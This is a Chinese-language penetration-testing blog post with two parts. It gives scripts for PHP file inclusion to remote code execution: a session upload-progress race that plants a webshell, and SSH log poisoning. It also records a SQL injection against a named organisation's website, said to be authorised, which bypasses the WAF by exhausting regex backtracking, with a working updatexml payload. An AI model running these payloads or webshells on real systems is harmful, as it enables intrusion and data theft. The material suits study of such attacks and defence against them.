翻出今年 1 月的实战记录《CQZSZY SQL 注入与 WAF 绕过实战记录》——第一次在真实授权目标上完整走通注入 + 绕过;系统版见注入深挖、绕过手册。
0x01 第五天:文件包含到 RCE 的脚本包
那套”文件包含相关脚本”覆盖 LFI→RCE 三条标准路线:
① session.upload_progress 竞态包含。PHP 默认开启的 upload_progress 把上传进度写进 session 文件,文件名参数可控;双线程竞态——一线程 POST 写入恶意 session,另一线程 GET 包含 sess_<sid>:
def t1(s): # 写:PHP_SESSION_UPLOAD_PROGRESS 值 = <?php fputs(fopen('shell.php','w'),'<?php system($_REQUEST[11]);?>');?>
s.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': payload}, files={'file': ('a.txt', f)}, cookies={'PHPSESSID': sessid})
def t2(s): # 包含:?file=E:/phpstudy_pro/Extensions/tmp/tmp/sess_zyl
s.get(url + f'?file=.../tmp/sess_{sessid}')
路径硬编码目标 web 根目录(Windows phpStudy 结构),竞态命中即落地持久 webshell。
② SSH 日志毒化。登录用户名被原样写进日志:写成 <?php system($_GET['c']);?> 再包含日志即 RCE,前提是日志路径可猜可读(Debian/Ubuntu /var/log/auth.log,CentOS /var/log/secure)。
③ 临时文件包含的平台差异。Windows 与 Linux 的 php5 临时文件包含行为不同(路径格式、大小写、长度上限),脚本已做双平台适配。
0x02 第六天:手工注入的知识框架
- 手工注入 MySQL 常见函数;2. 联合查询注入与报错注入;3. BP 配合联合查询实现注入;4. BP 真实爆破账号密码进一步入侵;5. 注入真实盲注。
心法:基础扎实才想得到绕过;遇问题先思考、别急着换工具;多看利用技巧——绕过的本质是知识量。
0x03 实战:重庆再生能源集团官网注入与正则回溯绕过
授权测试站点 order_sell.php,POST 参数 bs。
定位与确认
bs=1' → SQL 语法错误回显(near '1768753587')')→ 确认注入点存在
bs=1' and ... → WAF 拦截
摸清 WAF 的规则
绕过手法与结果(先画敌人的边界):
| 尝试 | 结果 |
|---|---|
select/**/table_name/**/from 注释切分 | 失败 |
SeLeCt TaBlE_NaMe FrOm 大小写混淆 | 失败 |
selselectect 重叠混淆 | 部分绕过但不稳定 |
规律:只要命中 select(.*)from 模式就拦截 | WAF 用的是贪婪正则 |
正则回溯:100 万个 a 的胜利
贪婪正则 select(.*)from 的死穴是回溯:.* 吞完全部字符找不到 from 就逐字符回退。PHP 的 pcre.backtrack_limit 默认 100 万——注释里填 100 万垃圾字符,回溯耗尽放弃检测,WAF 放行:
junk = "a" * 1000000
bs = f"""1' and updatexml(1,concat(0x7e,
(select/*{junk}*/table_name from/*{junk}*/information_schema.tables limit 1),0x7e),1)
and '1aaaaa'='1"""
# 响应:XPATH syntax error: '~CHARACTER_SETS~' → 绕过成功
报错注入标准姿势:updatexml(1, concat(0x7e, 子查询), 1),非法 XPath 报错回显数据。GET 传不了 100 万字符,只能走 POST(dirsearch、AWVS、robots.txt、Google Hacking 全试过后死磕 POST 是对的)。
复盘
三个认知,后来都进了绕过手册:
- 绕过从”画边界”开始——先测 WAF 拦什么放什么,比盲目堆 payload 快十倍;
- 打引擎短板,不打规则本身——大小写/注释是规则层对抗,回溯是引擎层,对所有 PHP WAF 通用;
- 手工探路 +
sqlmap -r收尾效率最高,绕过成果可交给自动化。
相关旧文
- 文件包含的高阶玩法
- PHP 反序列化进阶(正则回溯在反序列化场景的同一应用)